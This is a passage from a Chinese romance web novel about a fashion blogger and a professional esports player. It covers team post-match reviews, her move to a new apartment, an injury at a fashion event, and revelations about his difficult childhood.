祝愉憋着笑意,悄悄看了眼俞述,虽然他的表情没什么变化,但那嘴角不同往日,偷偷上扬了几个像素点,估计他心情不错。 “你会唱歌吗?”祝愉问他。 俞述没有唱过歌,所以干脆说了不会。 “你呢?”俞述低头看向她。 “我五音不全。” 祝愉感觉到了俞述眼中的诧异,“怎么,很奇怪吗?” “有一点。” 他想,明明你的声音很好听。 祝愉笑了笑,“我妈妈也是这样认为的,我小学的时候,她立志要让我变成一位淑女,想要给我报一个特长班,但是我对钢琴古筝什么的都不感兴趣,最后只能给我报了一个声乐班……” “然后呢?” “然后去的第一天,我就因为没有这方面的天赋被退班了。” “她不够有耐心。” 祝愉抬眸看他认真的表情不像作假,解释道:“还好啦,其实是因为我唱歌一直跑调,把班上的其他同学都给带偏了,后面老师教了好几遍也改不过来,最后只能让我走了。” 祝愉看着俞述笑了,尖尖的虎牙露了半颗,也觉得自己有些好笑。 她继续说道:“我妈妈来接我回家,她还不信,觉得肯定是老师没有发现我的天赋,然后老师就让我当着我妈的面又唱了一遍,她才相信自己可能是看走了眼,只能领着我打道回府。” “不过,她当时也说了一句话安慰我。” “什么?” “老师不够有耐心。” 祝愉的眼睛弯成月牙,“你可能跟我妈妈很有共同语言。” “关于你唱歌吗?” “怎么可能!” 再聊下去,或许会发展成另一种情况,祝愉适时地转移了话题。 祝愉盯着脚尖,“我后面可能会很忙,不知道还有没有时间去看你比赛。” “没关系。” 俞述心里想着,即便你不来,我也知道你是支持我的。 “但我一直会支持你的,比赛一定要加油啊!” “好。” “还有……我想看你拿冠军。”她还没有亲眼见过俞述带着队伍夺冠的样子,虽然夺冠的路上会很难,但她觉得只要是俞述,那一定是会实现的。 “好。”他一定会的。 “还有……” 祝愉走了几步停下,她微微踮起脚,凑到俞述的耳边说:“等比赛结束,我有话想跟你说。” “很多很多。” 包括我喜欢你的话,我都要亲口说一遍。 “好。” 她与他,做了一个约定。 33. 第33章 回到基地,憋了一路的众人终于逮着了机会,他们团团围住俞述,颇有严刑逼供的意味。 “说吧,你跟祝愉怎么回事?”91抱着胳膊,“你们走在最后面,我可看得清清楚楚。” “你背后长眼睛了吗?” “长了。” 俞述斜了91一眼,绕过他们走向厨房,从柜子里拿出一瓶水喝。 几人像是幽灵,紧贴着俞述,将厨房填满。 目光黏在他身上,他走,他们移。 “没完没了了?”俞述被盯着有些烦。 飞渊的话不多,但此时也望着俞述,他动了动嘴,“你们接吻了?” 这话一出,空气开始凝固。 薰薰小心地打量着俞述的脸色,暗叹飞渊的英勇。 俞述喝完最后一口水,将瓶子捏扁,丢进垃圾桶,一套动作行云流水,他睨着满脸八卦的众人,一字一句,“没有。” “嘁——” 91失望地转身上楼,还以为有了新的进展,结果还是原地打转。 他挥手,“散了散了,睡觉睡觉。” “唉……”薰薰摇了摇头,拉着烁安离开。 灼忧和五七勾肩搭背,对视了一眼,均在摇头。 飞渊过去拍了拍俞述的肩膀,没说什么,走出厨房时又回头看了一眼俞述,满眼是俞述读不懂的情绪。 他说:“小鸟,Goodluck!” 可怜的孩子,追人也这么可怜,这是他能够给予俞述最走心的鼓励,希望俞述能明白。 “?” “加油!”换句中文估计能听明白。 俞述面色一凛,飞渊头也不回地快步离开。 …… 第二天下午,FRG的会议室正在进行一轮细致的赛后复盘。 每复盘一局,李由的脸色越沉。 选手轮换是他要求的,本以为能试出什么水花,结果一点用都没有,夏季赛以来打赢的那几场都是靠阵容强度硬压过去的,要说是论配合碾压对方,那听起来像是天方夜谭。 灼忧的指挥练到了什么程度? 在他眼里连俞述的三分之一都没有。 不说指挥了,整体打得更是没有一点血性,从来不去找机会,每次都等着对方过来一波终结比赛。 91拧着眉,“轮换中单的本意是为了锻炼你们其他人的意识,结果呢?” “每次比赛,脑子像是忘带了一样,装着一坨浆糊就上去了,那打得什么狗屎东西?站位没有,伤害没有,钱也没有,到底在打什么?” “玩个野核不会刷钱,玩个中核吃不到钱,那赛前的布置是怎么说的?一上场就失忆了?就等着对面一直反你野区是不是?其他人眼睛瞎呢吗?” 91气得站起来拍着桌子骂,骂了很久之后,才摆摆手,“这次复盘就先到这里,提到的问题下去之后好好改。” “那巅峰赛分数不达标的,自觉点,别等着我去催,知道没?” 薰薰几人乖巧地点头。 “行了,赶紧走吧。” 门关,会议室恢复了寂静,留下赛训组的几人愁眉苦脸。 91看着夏季赛以来的选手数据,也是重重叹出一口气。 俞述的带队能力是毋庸置疑的,不说指挥内容确实令人信服,本身的性格就比这帮小子更沉稳,说什么做什么都不会有人质疑他。 因为实力就摆在那。 他起初是不同意轮换的,但随之李由的分析,他们赛训组也仔细考量了一番,确实辅助如果能把指挥练出来,这样就可以分担俞述的压力,局内的全图节奏都可以把控得很好。 但是现在……配合稀碎,节奏没有,射辅反而畏畏缩缩变得不敢打,整体的对抗强度直线下降。 事实证明,赛中换人换打法总不是明智的选择。 可烁安也就上来打了这么几局,或许再打几场就会有改变? 91有些拿不准,皱着眉看向李由,“你呢?什么想法?” 李由摸着下巴沉默许久,最终决定,“第二轮还在S组,那就继续轮换,总得见到点成效。” “第二轮结束后,根据前面的训练和比赛效果,固定后续比赛的首发阵容。” 91垂下脑袋琢磨了一会儿,抬头道:“如果因为轮换影响到队伍排名,有去卡位赛的风险,那后面必须上俞述,我不可能再拿队伍成绩去试错,这是我最大的底线。” “可以,出了问题我承担。” 91不由得笑了一声,离开会议室之前对着李由说道:“狗屁你承担,输比赛了骂的不还是我这个主教练,更何况决定都是我们赛训组一起做的,我要不同意,你想轮换那绝对是不可能的事。” 虽然赛训是李由坐阵,但他又不是傀儡教练。 过了几日,夏季赛第二轮正式开始。 半个月内,FRG的大场来到两胜两负,位于S组第三,小分略低于YSG。 此时,还剩最后一场比赛。 …… 全国各地降下暴雨,将这缓慢的七月推着向前。 祝愉刚从韩国回来,行李还没收拾,就被房屋中介拉着去看房子。 “这边的安保设施做得特别好,物业24小时值班,房子也是一梯两户,只能刷卡或者扫脸才能上去,其他人连单元门都进不了。” 祝愉环顾了一圈,是套大平层,采光不错,家具因为是重新装修的原因,都是新的。 中介带着祝愉去看厨房。 厨房分中西厨,中间用岛台隔开,冰箱、烤箱这些都没什么问题。 祝愉看了一下天然气灶,也能正常使用。 中介搓了搓手,“这视野开阔,装修也偏简约,现在很多年轻人都喜欢这种风格,房东一共有五套房,这两天都租完了,只剩下这一间。” 祝愉走到客厅的落地窗前,推了推,“只剩下这一间,该不会是有什么问题吧?” “没有没有,有什么情况我肯定会跟你说清楚的,这套房是空间比较大,房费要高很多,你看,光卧室就三间,普通人也用不到这么多啊。”中介摆手解释道。 祝愉之前住的地方也是三间卧室,但空间要小很多,其中两间都放着她的衣服,看起来很拥挤。 她看中的是这套房有自带的衣帽间,到时候衣服有地方挂,不用全部叠起来。 中介挠了挠眉毛,问道:“您看……这怎么样?” “可以。” “行,那我们等会就签合同吧。” 第二天一早,祝愉带着搬家公司把她放在酒店和江笛那的东西全部搬到了新住处。 “祝小姐,这些放哪啊?”搬家公司抬上来几个快递纸箱,最大的跟人一样高。 “都拆开,然后放东边那个小卧室。”祝愉指挥道,那是她买的电竞椅和电脑桌,她打算把小卧室改成电竞房。 “好嘞。” “还有这个架子,放到最里面的衣帽间,靠着墙摆。” 花了一整天时间, 祝愉才算是把新家安置妥当。 …… FRG比赛当天,江笛和陈词恩提了一堆东西上门暖房。 祝愉在捣鼓蓝牙,打算把直播投到电视上看,江笛坐在沙发上点炸鸡外卖,到时候可以边看比赛边吃。 陈词恩慢悠悠地参观了一圈走回客厅说:“这还挺大的,搞得我也想换房子了。” 公司给她安排的住处也不错,单身公寓,缺点就是小,她的那些衣服包包一大堆,柜子塞都塞不下,包括画画用的东西也没地方摆。 “那就换一个。”江笛正好取完外卖回来,还带了几杯奶茶。 “唉……还是算了,搬家太麻烦了。”陈词恩想了想还是作罢,她那东西太多了,搬来搬去的,累倒也不说了,关键她还没什么耐心。 祝愉咬着奶茶吸管点了点头,“确实挺麻烦的。” 她今天是同时找了搬家公司和保洁公司,一边搬一边打扫卫生,一早上就忙完了,下午又请了收纳师过来帮她整理那一屋子的衣服和化妆品,但就这样也一直忙到晚上七八点才结束。 “对了,我一直没问你,怎么突然想着要搬家了?之前那个房子住得不是挺好的吗?”陈词恩有些纳闷。 她一直以为是祝愉要重新把那套房子给改造一下才搬去酒店的,之前祝愉也一直说没地方放衣服,但是没想到直接换了个地方住。 祝愉看了眼江笛,不知道怎么开口。 陈词恩还不知道那件事。 “眉来眼去的干嘛?”陈词恩挑眉,“有什么事是我还不能知道的?” “没有……” “没有就说。” “唉。”祝愉叹了口气,还是把搬家的原因说给了陈词恩听。 陈词恩大惊,“这事怎么没告诉我?” “怕你担心嘛,我就没说……”祝愉稍稍抬眼,看了眼陈词恩的脸色。 “报警了没?” “报了,但只做了笔录,因为那也算不上什么恐吓。” 陈词恩沉默着,突然抬头问道:“你说的那张照片长什么样?” 祝愉翻手机相册,找到那张照片,“就是这张。” 两人凑上来,江笛放大照片仔细察看了一番,凭借她几年的修图经历,她断定,“不像是P的。” 几人沉默了一阵,也想不出什么,便把目光放回比赛上。 时间已经过去一小时,FRG此时2:1领先对手,率先进入赛点局。 评论席正好提到俞述的职业生涯,从替补到首发,再到FMVP选手,这一路走得是真不容易…… 陈词恩听着突然诶了一声。 “我突然想起一件事。” 陈词恩皱着眉回忆,“我刚被调到海市的时候,去负责人那边补材料,正好他们也在更新选手的个人资料,当时电脑上显示的就是俞述的档案,我还多看了几眼。” “他家庭背景那一栏……好像是空着的。” 江笛疑惑道:“空着的?” “对啊,我还问了一下那负责人,选手可以选择不填家庭情况吗?” “那负责人说,档案内容都是根据选手提交的户口本复印件填上去的,联盟管这一块还是挺严的,不能不填……” “后面我也没再问,现在想起来……我只能想到一种情况……” “是不是他父母……”陈词恩没再接着说下去。 祝愉却也明白了她的意思。 有可能……俞述的父母已经不在了。 34. 第34章 “小竹姐?小竹姐!” 祝愉猛地回神,睫毛颤了颤,她侧过头,看见小香正举着手在她眼前晃。 “怎么了?” “他们在叫我们了。”小香指了指楼下那片搭建好的台子,现在已经有工作人员在引导嘉宾入座了。 “哦哦,好。”祝愉提着裙子,小心站了起来。 她今天穿着一条水蓝色长裙,身上再没有其它配饰,衬的人清冷干净,走路时,那裙摆又像是一阵水波纹缓缓荡开,步步生花。 小香走到跟前,虚扶着祝愉的胳膊下楼。 今天是H家的秋季新品发布会,除了品牌代言人会到场之外,主办方还邀请了一些当下热度较高的博主到场观秀打卡。 其中最多的还是时尚频道的博主。 这场发布会在一处私人庄园举办。 因主题是“简”,所以整个活动场地选择在室外的草坪上举办。 现场没有刻意地装饰,只是简单布了景,远远看去,只有白、绿、棕三种颜色。 场地离到场嘉宾休息的地方有段距离,为了不破坏草景,所有人都得步行到达现场。 小香扶着祝愉下楼,一边走一边打量着祝愉的侧脸。 她觉得小竹姐最近很不对劲,经常走神,有时候喊她两三遍才有反应,问她怎么了,她也只是叹气,什么也不说。 快要到发布会场地,祝愉停下脚步,捏了捏空空如也的手包,蹙着眉,“我手机落休息室了。” 语气怅然,似是懊恼自己的走神。 “我等会儿去帮你拿吧。”小香将祝愉扶到座位附近后,原路返回,去取祝愉的手机。 小香的背影消失在树影中,祝愉没有立马坐过去,而是一个人站在一边,思绪又不知不觉地飘远。 她在想俞述。 这几天越想她心里越堵…… 认识俞述这么久了,她才终于后知后觉,发现俞述从来没有提到过他的家里人,就连小时候的事都没有向她说过。 网上的传言她翻来覆去看了好几遍,都是说他家里条件不好,欠了很多钱,他是为了还钱才来打职业的…… 至于其他的,她一概不知。 祝愉半阖着眼睛,手指无意识地绞着包上的链条。此时此刻,胸腔如同一只铁锤在猛烈敲击,想要把那细长的钉子钉入她的心口,带来阵阵剧痛的同时让她心乱如麻。 偏偏是这个时候…… 她什么都问不了,只能先自己装着。 “嘿!好久不见!” 一道熟悉的声音将祝愉的思绪拉回地面。 祝愉抬眼看去,怔了一秒,是Lena,她勾了勾嘴角,“好久不见。” “怎么啦?”Lena走近两步,歪着头仔细端详祝愉的脸,“一直皱着脸,失恋了?” 祝愉摇了摇头,“没谈恋爱,怎么失恋。” “哇——”Lena拖长尾音,显然知道点情况,“这都过去多久了你还没谈上?你这也太慢热了吧。” “小姐姐,你在干什么呀?”语气间带着几分熟稔。 祝愉说不出口。 她该怎么解释两人的进度,又该怎么解释他们在等一个合适的时机。 这话要是说给Lena听,对方估计会觉得他俩脑子不太正常。 毕竟表白还要提前做约定,那真的少见。 Lena瞧着这苦瓜脸,啧了一声,“这时间都够我换三四个暧昧对象了,你居然还在这跟人死缠着,实在不行咱就换一个呗。” “不要。”她就喜欢俞述。 “快两个月了,温水煮青蛙也要熟了吧。” 祝愉跟Lena的恋爱观完全相反,她觉得两个月的时间对她来说不算久,甚至都有些短。 她说道:“我就喜欢慢慢来。” “行行行,跟个老奶奶一样,慢吞吞的才好。” 祝愉反驳道:“我不是老奶奶。” “好好好,你不是。”Lena敷衍了几句,挽起祝愉的胳膊,“咱过去聊吧,一直站这真的好累啊。” 她今天穿着细高跟,现在脚下已经传来一阵麻意,再站下去,等等腿都要软了。 祝愉也穿着高跟鞋,但主场地用的是草坪,脚下很软,路不好走,两人只能松开手,慢慢挪到座位席。 Lena跟祝愉旁边的人商量了几句,换了个座位,一屁股挨着祝愉坐下,“啧,我最烦穿这种裙子了,走路要慢慢悠悠的,步子一大这腰线就绷了。” Lena今天穿着一条抹胸款的黑色鱼尾裙,腰间的骨架将她勒得很紧,甚至有点喘不上气。 她拽了拽后背的绑带,才觉得松活许多。 祝愉侧头看了一眼她的后背,“美丽刑具。” 话音刚落,一道不冷不热的嘲讽声从身后传来,“吃胖了就减肥呗,明知道要上活动,还吃这么多。” 祝愉扭头,也是一个老熟人,沈苒。 对方穿着一件紫罗兰色的长裙,悠哉地坐在她们的斜后方,翘着腿,眼中满是不屑。 Lena眯着眼,“我这是胸大,哪像你?” 她上下扫了一眼,“豆芽菜。” 沈苒的表情僵了一瞬,视线划过Lena的胸口,小声地说了句,“嘁,肥婆。” “你说什么?你敢再大声说一遍吗?”Lena没压着嗓子,直接站起身指着沈苒,惹得周围人侧目看向这边。 Lena本身就比沈苒高出一截,对上沈苒倒显得她压迫感十足,“就你这身板,小心我一拳。” 沈苒脸色变了又变,周围有不少声音问着怎么了,但大部分都是看戏的。 她坚持了几秒,实在是比不过Lena的怒视,便提着裙子跟另外一排的人换了座位。 Lena瞪了眼沈苒,才又重新坐下,嘴里嘟囔了几句。 “真烦人。” 祝愉等Lena情绪稍微平复了一点,轻声问她,“你跟她是怎么回事?” Lena翻了个白眼,“她撬我墙角。” “啊?” “就是去年,我谈了一个身材特别好的男的。”Lena给祝愉看了眼照片。 “小狼狗长相,说话也很讨喜,就是比我小几岁有些幼稚,但我也没介意啊,还觉得他可爱天真,又给他介绍圈子里的人让他认识,又给他推荐商务拍摄,结果他倒好,吸了粉转头就背着我跟沈苒搞一块儿去了。” “两人还天天在我面前蹦跶,那段时间我实在是恶心的吃不下去饭,跟他们大干了一架。” 回忆起当时的场景,Lena越说越气,“他居然还骂我是泼妇。” “靠,没有老娘他还指不定在哪个犄角旮旯啃馒头当男模呢,还敢说我是泼妇,去他妈的。” 祝愉没想到Lena跟沈苒还有这么一段事,一时不知道怎么接,只能拍了拍她的肩膀,安慰着,“你受苦了。” “没事,反正已经过去这么久了。”Lena很 是洒脱,也不受之前恋情的干扰,“就她这样的也只能捡别人不要的垃圾。” 说着,她又提醒道:“但她恶心人有一套,你要小心点。” 祝愉点点头,笑而不语。 Lena挑眉,“你也跟她有过节啊?” “算是吧。” 祝愉耸了耸肩,语气淡淡的,“不过她也就在我背后说点闲话,不敢当着我的面搞小动作,我也懒得计较。” “啧,这种人就是典型的欺软怕硬,有时候也不知道她哪来的那么多精力,怎么搞得好多人都不喜欢她。” Lena说着扫视了一圈嘉宾席,揽过祝愉,在她耳边低语,“你看见你对面那个穿绿色裙子的女人了没?” 祝愉看了过去,是最近很火的一个韩系美妆博主,叫梨子,她还学过这个博主的化妆手法。 “看见了。” Lena压着声音,“今年3月份,R家的美妆展览会不是在海岛举办的嘛,派对主题。但是化妆的时候,沈苒觉得这女生的妆比她好看,硬要化妆师重新给她化,折腾来折腾去还不满意……” Lena顿了一下,“你知道发生了什么吗?” “什么?” “到最后所有人都聚在一起举杯庆祝的时候,她直接把这女生给推泳池了,害得人家晚宴都没参加成,连夜换酒店都不想跟沈苒待在一块儿,第二天一早就订飞机回去了。” “就因为一个妆容的问题,她都敢这样做,你说她恶不恶毒?” Lena还在她耳边絮叨,祝愉的眉头皱着就没展开。 “反正都得小心点。” Lena叹了一口气,谁知道她还会怎么整别人……避都避不开。 …… 发布会直到傍晚才结束。 郊区的夜晚带着点凉意,祝愉拢紧身上的披肩,站在台阶上等小香开车过来接她。 她特意绕了一条远路,等在侧门这里,人和车要比正门口少许多。 身后的围墙爬满了各种颜色的蔷薇,粉一片,白一片,几个打扮精致的女人互相给对方拍照,祝愉扫了一眼,大部分都仅限于眼熟但不认识,包括她旁边的梨子。 梨子看过来,浅笑着向她点头,祝愉也弯了弯眼睛。 之后,两人无言,保持着不远不近的距离,就这样静静地站着。 但这份和谐并没有持续太久。 “真是晦气。”沈苒重重翻了一个白眼,然后扭着腰走到她们中间,从包里掏出手机回讯息,长指甲点击屏幕的声音哒哒作响。 祝愉掀起眼皮看了她一眼,又移开,往旁边挪了一步。 又几分钟过后,一道微弱的白光亮起,远处驶来一辆商务车,梨子提着长裙准备下去。 但她没换高跟鞋,动作有一些缓慢。 祝愉看她走得艰难,上前几步,准备帮她提一下裙摆,免得绊脚。 “没关系,我提着就好了……”梨子抬头看了她一眼,眼底含着一丝意外,但语气略带着无措,“你……可以扶着我下去吗?” “可以。”祝愉换了平底鞋,裙子刚到脚踝,也不怕摔倒,便走在她旁边搀着她下去。 就在踏下第二层台阶的瞬间,变故突生,梨子脚一崴,整个人忽然向前栽了过去,慌忙间,她本能地反手拉住了祝愉的胳膊。 但祝愉根本来不及反应,重心不稳,两人一前一后地从台阶上摔了下去。 随即,周围响起接连不断的尖叫声。 35. 第35章 “这可能有些疼,你忍着点。” “好。”祝愉死死咬着下唇,眼角溢满了泪水。 一旁的小香也不忍直视。 那台阶下面是用不同石子拼合而成的路,祝愉正好摔在一片小石子上面,膝盖往下,没有一处是好的,满是血痕。 祝愉真的没忍住疼,哭了一路,直到护士来清理伤口,她才堪堪收起眼泪。 梨子的伤在手臂上,可能还要缝针,这会儿坐在另一边,也是一个劲地在哭,打电话让经纪人来医院。 浅色的礼裙透着血迹,外面那层纱被护士掀了上去,但因为血液的凝固,内衬牢牢地扒在膝盖上,护士用镊子轻轻挑了几下都分不开,只能提醒祝愉,“你等会儿要真憋不住就喊出来,我可能会重一些。” “等等,让我先准备一下。”祝愉抹了把眼泪。 手落下,白净的脸上多了几点红和灰。 “哎呦,给,用这个擦吧,脸上全是血,你手掌也破了吧?”护士看着眼前这个漂亮的女孩哭,也有几分不忍,递给她一块干净的纱布,“我先给你洗一下手上的伤吧。” 祝愉说了句谢谢,接过纱布擦了几下,勉强能看见皮肤的颜色后,才将手伸过去。 “指甲也劈了。”护士翻过手背看了眼。 “要拔掉吗?”祝愉的心沉了又沉。 “不用,就是有一半得剪掉,幸好甲床没有淤血,不然就得拔了。” 祝愉长吁一口。 不拔指甲就好,那样的话她真的会哭到天荒地老。 清理完手上的伤,护士去拆新的碘伏和棉球,小香到楼道去给主办方打电话交代一下情况。 祝愉满是疲惫,她摸了一下包,掏出手机,却发现手机早就没了电。 唉……人怎么能倒霉成这样。 祝愉抬头环顾了一圈,在急诊室门口的一侧看到了钟表。 原来已经12点了…… 梨子的经纪人没过多久便赶了过来,戴着无框眼镜,是个年轻的男人。 梨子看到他来,扑进他的怀里放声大哭,埋怨道:“你怎么才来啊……” 男人心疼地抹去她脸上的泪水,吻了吻她的眼睛说:“没事没事,我来了。” “医生说等会儿要缝针。” “好,我陪你去,别怕……”两个人的身影逐渐消失在门口。 祝愉收回目光,小心抬了一下麻木的腿,伤口处却传来一阵刺骨的疼。 她缓缓呼吸了几下,忍着痛意直到消失,心中却莫名升起一种难以言说的情绪。 她真的好想好想见到俞述。 …… 凌晨的急诊室并不算安静,隔壁床躺着一个正在看直播的女孩,听着像睡前故事。 男主播的声线低沉且温柔,他说,人在最难过的时候第一个想到的会是自己最在乎的人,或是亲人或是友人或是爱人,当你想到他的那一瞬间,请开始倒计时,一分钟之后,心里所想的那个人会像天使一样降临到你的身边,带走你的所有痛苦…… 祝愉听得认真。 嗒——嗒——嗒—— 钟表滴答的声音在此时格外清晰。 秒钟走完一圈,她越过人群,下意识地看向门口。 她的“天使”出现了。 …… “之后每天都要换药,伤口不能碰水,要不然会化脓……” 俞述眉间的川字许久未散,问道:“有没有伤到骨头?” “如果后面还疼得厉害就过来拍个片子看看,今天是拍不了了。”护士收拾着东西说道。 “好,谢谢。” “没事。” 护士给两人说完注意事项后就推着小车走了。 一阵折腾后,祝愉的脑子里像是在放烟花,眼冒金星,整个人头重脚轻,两只腿已然失去了知觉。 久久,飞远的思绪才重新回来,祝愉发现自己还拽着俞述的衣服,松开手,那片衣角已满是褶皱,还带着几个指印。 她清清嗓,“你怎么知道我在医院?” “阿良说的。” “阿良?” “嗯。”俞述没有多说,从口袋里找见一袋湿巾。 祝愉看了眼自己的手,手掌裹着纱布,但每根手指上全是土,黑黑的,“我来擦吧。” 俞述不吭声,自顾自地拆开包装袋,随后,他小心地托起祝愉的手,慢慢地擦着那几根手指。 他不说话,眼睛一眨不眨,像是在做什么精密的研究。 过去十几分钟,他才缓缓呼出一口气,“好了。” 祝愉略微看了几眼,只要是没有受伤的地方他都擦干净了。 俞述还蹲在一边,但那眼珠子却一动不动,定定看着祝瑜的膝盖,“是不是很疼?” 祝愉轻嗯了一声,不过那股劲过去之后,痛意已经到了能够忍受的地步。 更何况俞述来了……她的注意力能够转移一下。 祝愉歪头,默默观察着眼前的男人。 他神情严肃,眼里充斥着郁色,往日直顺的头发此时却胡乱搭在脑门上,左边翘起一撮,看起来像是刚从床上起来。 祝愉伸手替他拨了几下刘海,捋直后才觉得顺眼许多,“你这几天是不是休息啊?” “嗯,放了两天假。” 他们第二轮比赛刚结束,离第三轮开始还有一个多星期的时间,这两天教练也没有约训练赛,给他们放了两天假休整一下。 但他还有几个商务要参加,下午四五点才拍完广告,坐高铁从临云那边回来后就直接睡了,所以阿良给他打电话的时候,他也刚醒没多久。 “这样啊。” 祝愉看俞述还蹲着,便微微倾身,小声说:“要不然你吹一吹,我就不疼了。” 面前的身影一僵。 祝愉悄悄勾了一下唇,催促道:“好啦,快点起……” 毫无预兆地,一股温热袭来。 那颗还发型稍显凌乱的毛茸脑袋凑到她跟前,小心呼了几下。 “……” 时间好像就在此时静止。 祝愉一时愕然,她原本想逗一下俞述,让他快点儿起来,没想到俞述真的靠近吹了几下。 呆了几秒后,祝愉偏过头捂嘴偷笑。 怎么这么听话啊! 耳边传来轻笑,俞述蓦然停下动作,缓缓低下头,久久没有抬起。 他在干什么? 好像过了一个世纪那么长,祝愉才收了收表情,捏捏他的脸,“走吧,回家了。” …… 半个多小时后—— 小香直接把车停在楼下,方便祝愉上楼。 祝愉的膝盖弯不了,只能慢慢地挪进电梯。 电梯升到16楼后停下…… “真的不进来吗?”祝愉回头问他。 俞述站在门口,摇了摇头,“太晚了。” 已经快凌晨2点了。 小香识相地没有出声,侧身先过去开门。 祝愉微微张开嘴,想说点什么,但最后还是沉默下来。 俞述目光凝在祝愉脸上,“醒了给我发消息,我来找你。” 他的嗓音干净,听着格外安心。 “好。” …… 俞述回到基地,客厅的灯还亮着。 “怎么样啊?”阿良关掉电视扭头问他。 “腿摔伤了,流了很多血。” “哎呦喂,我就感觉那应该是挺严重的,衣服 上的血那么明显,而且她旁边那个女生头都破了,真够吓人的。”阿良此时还有些心有余悸。 他睡觉前刷微博,正好就在推荐那看到一营销号说H家新品发布会结束后有两个博主受伤了,鲜血直流。 评论区有人说是小竹,还配了现场图,他看后吓得给俞述一直打电话。 俞述走进客厅,整个人窝进沙发,才懈了一口气。 楼上传来脚步声。 五七刚跟女朋友打完视频,打算煮个泡面吃,看到楼下的灯还亮着,几步飞下楼,嘴里嚷嚷着,“都吃啥呢?咋不喊我……” 声音消失在嘴边,五七失望道:“我以为是灼忧和小薰搁这吃夜宵呢,咋是你俩。” 偏偏是两个不吃夜宵的醒着。 阿良回头看了一眼,表情奇怪,俞述更是没什么反应。 五七警惕地扫了一圈,“是有私生吗?” 几个月前,俞述到楼下喝水,总感觉门外有什么声音,拉开窗帘一看,有几个捂得严实的人已经把大门给撬开了,就站在院子里,鬼鬼祟祟,手里还拿着相机。 几人也是没想到有人醒着,跑之前还对着俞述闪了几下。 没过几天,网上就传出了这些照片,有一张还被私生卖了几万块钱。 后面查监控准备报警的时候,基地里的人都觉得俞述胆子真大,再就是耳朵尖,这要是换成他们几个,哪能听见外面的动静,估计一觉醒来,全网传的都是他们几个的睡照。 “不是。”阿良汗颜,“你这是一朝被蛇咬,十年怕井绳啊。” “这不是保持警戒心嘛,从那之后我这晚上都睡不好,就怕半夜睁开眼后发现床前站着不认识的人。” 阿良无语,每次喊他们起床的时候,就五七睡得最死,睡不好是一点都没看出来,更何况选手住的都是带密码锁的房间,安全性那是杠杠的。 他道:“哪有那么夸张,两个门都换锁了,他们绝对进不来,而且那次是被小区里面的人带进来的,人也被警察教育过了,不会再发生这种事了。” “害,我这也是合理担心嘛。”五七说着走进厨房,找出一桶泡面,出来接热水,“你们吃吗?” “不吃。”阿良摇了摇头,看了眼俞述,又补充道,“他应该也不吃。” 五七哦了一声,走到俞述身后,想知道他一直盯着手机在看什么,看得这么认真。 过了几秒,他惊道:“你又受伤了啊?” “哪伤着了?” “快给我看看!”五七摸来摸去,掰着俞述的头左右察看,“头没事,那是哪磕着了?” “再别藏着掖着了,快让我看看,这马上又比赛了,你可千万不能出事,要不然91会发疯的,我还想带着你进总决赛呢……” 俞述费劲地扒开身上的人,“我没受伤。” “真的?” “嗯。” “那你在那搜受伤的人应该吃什么干嘛?” 阿良拉过五七,“是祝愉受伤了。” “啊?”五七又跑到俞述身边,“她咋受伤了?” “哪受伤了?严不严重?” “来来来,我给你说。”阿良几步过去过去扯走五七,边走边小声跟他说,“你让人家自己待会儿行不行,那喜欢的人受伤了,他现在心情肯定一般,你还在他周围晃荡,我都觉得烦。” “你觉得我烦?” “没有没有,我就是那么一比喻。”阿良啧了一声。 “这是比喻吗?我读书少你可别骗我……” “你读书多读书多。” 阿良端着五七的泡面,拽着他上了楼。 整个世界安静了。 许久之后,俞述关掉客厅的灯上楼休息。 36. 第36章 “嗡——嗡——” 祝愉伸手摸到手机,睡眼惺忪,她看了眼来电是陈词恩。 刚接通,那边就嘟嘟嘟跟机关枪一样从头问到尾,半小时后,陈词恩才大喘气道:“人没事就好,吓死我了。” 祝愉按按脸,还很困,“没什么大事。” 凌晨回来之后,刚躺下没多久,药效就过去了,两条腿开始隐隐作痛,她也不敢翻身,早上天快亮才睡着。 祝愉又躺回去,手机放在一边,闭着眼听陈词恩说话。 “我这不在海市,过两天培训完才能回去陪你。” “嗯,没事,这还有小香。” “少吃点荤腥。” “好。” “没事少动弹。” “嗯。” “我在网上预约了社区医生,下午四点左右来给你换药。” “好……”祝愉一手揽过旁边的玩偶,紧紧地抱在怀里,昏昏欲沉快要睡过去。 “还有,我这次培训的时候碰到了以前带俞述的青训教练,问了一下关于俞述的事,本来是要回去再跟你说的,但我想了想,还是这会儿告诉你吧,后面我得一直忙,不知道有没有时间跟你细说。” 陈词恩这几天在临云那边参加工作培训,正好碰到了联盟管理青训的负责人,就一块吃了个饭,聊了几句后才知道这个负责人以前是青训营的主教练,俞述、姜其然等那一批选手就是他带出来的。 这句话像是箭,直刺心房。 祝愉醒了大半,她撑着床坐起来,拿起手机问道:“是什么事?” “就是上次跟你说的那件事啊……” “他父母的事吗?”祝愉拧起眉。 “对。”陈词恩拉开化妆包的拉链,皱眉回忆着那天的对话。 “昨晚我们几个人聊了挺多的,联盟那边的人突然说到了选手的心理状况,说现在的选手心里承受能力都很一般,一受外界的干扰就会影响心态和操作什么的……然后那个负责人就提了几嘴俞述。” “说挺佩服俞述的抗压能力的,家里那种情况不说,比赛场上舆论又大,但人家照样打得那么好……” 陈词恩正对着镜子描眉,“反正呢,上次给你说的他父母的事是真的,我没看错。” 祝愉咬着唇,心里像是有一颗弹珠,来回滚动,一边重一边轻,整个人的心绪也随着跌宕起伏。 猜测落实,她反而没有得知真相时的轻松。 祝愉艰涩开口,“然……然后呢?” 陈词恩端详了几下自己的妆容,想起那事,也是重重地叹了口气,“他挺不容易的。” “家里没钱,考上重点高中但是学费凑不齐也上不了,他小姨赚的钱就只够一家吃饭用的,更不用提他家里还有老人生病,吃药住院什么的,钱更紧了……” “听说他小时候还经常挨揍,他爸那边的亲戚对他特别不好,一分钱都不给,还问他要钱,具体的我就不知道了……只听负责人说他十五六岁的时候,坐的是那种长途大巴来的海市,当时身上就揣了三百块钱,还是端餐盘赚的。” 陈词恩也是一阵唏嘘,“幸好他那天赋被发现了,现在走到这一步也算是苦尽甘来吧。” 电话那头许久没有传来声音,安静到陈词恩以为自己在自说自话,她看了眼屏幕,没有挂断,便喂喂喂了几声,那边才有一些窸窸窣窣的响动。 “嗯……我、我先挂了。” 嗓子比刚打电话时还要哑还要沉。 陈词恩看着通话界面长叹一声,她也没想到这次来居然能知道这些事。 …… 祝愉保持着挂电话的姿势,在床上坐了很久。 家里现在只有她一个人,小香回家去收拾衣物,接下来几天准备贴身照顾她。 江笛工作忙,但也给她订了午饭和晚饭。 陈词恩还给她联系了社区医生…… 